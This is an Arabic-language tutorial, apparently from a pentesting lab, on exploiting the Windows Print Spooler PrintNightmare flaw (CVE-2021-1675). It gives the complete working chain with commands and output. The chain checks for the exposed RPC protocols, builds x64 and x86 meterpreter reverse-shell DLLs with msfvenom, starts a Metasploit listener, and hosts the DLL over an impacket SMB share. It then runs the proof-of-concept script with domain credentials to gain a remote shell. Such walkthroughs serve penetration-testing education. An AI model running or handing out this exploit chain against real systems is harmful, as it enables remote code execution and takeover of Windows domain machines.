شرح الثغرة

طابعة سبولر هي خدمة ويندوز تدير قوائم الطباعة. تستقبل المهام التي يرسلها المستخدم، وتحولها إلى تنسيق تفهمه الطابعة، وترسلها عندما تكون الطابعة متاحة. تعمل كخدمة نظام (spoolsv.exe) بصلاحيات عالية، مما يجعلها هدفًا متكررًا للهجمات، مثل ثغرة PrintNightmare.

كيفية استغلالها

عندما يحاول المهاجم استغلال طابعة سبولر عن بُعد، للتحقق مما إذا كان المضيف معرضًا لثغرة printnightmare، يمكننا استخدام أداة تسمى rpcdump.py وهي جزء من حزمة impacket، مجموعة أدوات مستخدمة على نطاق واسع في بيئة اختبار الاختراق.

❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

لاستغلال هذه الثغرة، طريقة توزيع هذا الاستغلال هي DLL خبيثة. هذه الطريقة، المعروفة أيضًا باسم الاستغلال "عديم الملفات"، تسمح لنا بتجاوز معظم حماية النظام، مثل برامج مكافحة الفيروسات. في هذا الهجوم، سنخدع خدمة طابعة سبولر لتثبيت برنامج تشغيل جديد من مسار UNC وتحميله. في حالتنا، هذه هي الـ DLL الخبيثة، والتي ستزودنا بقشرة عكسية إلى جهاز الكمبيوتر المهاجم. لإنشاء الـ DLL الخبيثة، سأستخدم "msfvenom" واعتمادًا على العمارة التي نعمل عليها، سنقوم بدمج حمولة ويندوز x64 أو x86 في الـ DLL، مع توفير المضيف المحلي والمنفذ المحلي، حيث سنبدأ مستمعًا لاستقبال اتصال من الـ DLL. يمكنك العثور على عنوان IP لجهازك عن طريق كتابة "ifconfig". سنستخدم الأمر التالي لإنشاء الـ DLL الخبيثة.

❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll

وإذا كانت العمارة في حالة أخرى 32 بت، فسنستخدم هذه الحمولة

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll

بعد إنشاء الـ DLL الخبيثة، يجب علينا بعد ذلك بدء المستمع الخاص بنا في "Metasploit Framework" للحصول على قشرة الـ 'Meterpreter' عند تنفيذ الـ DLL على النظام. لبدء المستمع اتبع الخطوات أدناه. في النهاية اكتب 'exploit -j' لبدء المستمع في الخلفية.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.10.10:443

الآن بعد أن بدأنا المستلم، نبدأ خادم SMB الخاص بنا لاستضافة ملف DLL الخبيث. اذهب إلى مسار النظام الذي حفظنا فيه ملف DLL وأدخل الأمر التالي لبدء خادم SMB. قبل القيام بذلك، تأكد من تثبيت "Impacket" على جهاز الكمبيوتر الخاص بك. Impacket هي مجموعة من الوحدات مفتوحة المصدر مكتوبة بلغة Python، وإحداها هي smbserver.py، وهي التي سنستخدمها في هذه الحالة. لبدء نص smbserver.py واستضافة ملف DLL الخبيث، أدخل الأمر التالي في الدليل الذي حفظناه فيه، في حالتي /home/ghost/Pentesting/Printer/.

❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

رائع، نحن الآن جاهزون لبدء عملية الاستغلال باستخدام إثبات المفهوم (POC) CVE-2021–1675. للقيام بذلك، نقدم وحدة تحكم المجال وبيانات اعتماد المستخدم مع مسار UNC إلى DLL الخبيث المستضاف على نظامنا.

❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

بعد بضع ثوانٍ من تشغيل نص الاستغلال، إذا عدنا إلى المستمع الذي بدأناه في 'Metasploit' سنجد أنه فتح جلسة 'Meterpreter'، لذا يمكننا الآن التفاعل مع الجهاز الضحية باستخدام 'Meterpreter shell'.

CVE-2021-1675

الأكثر شعبية

شرح الثغرة

كيفية استغلالها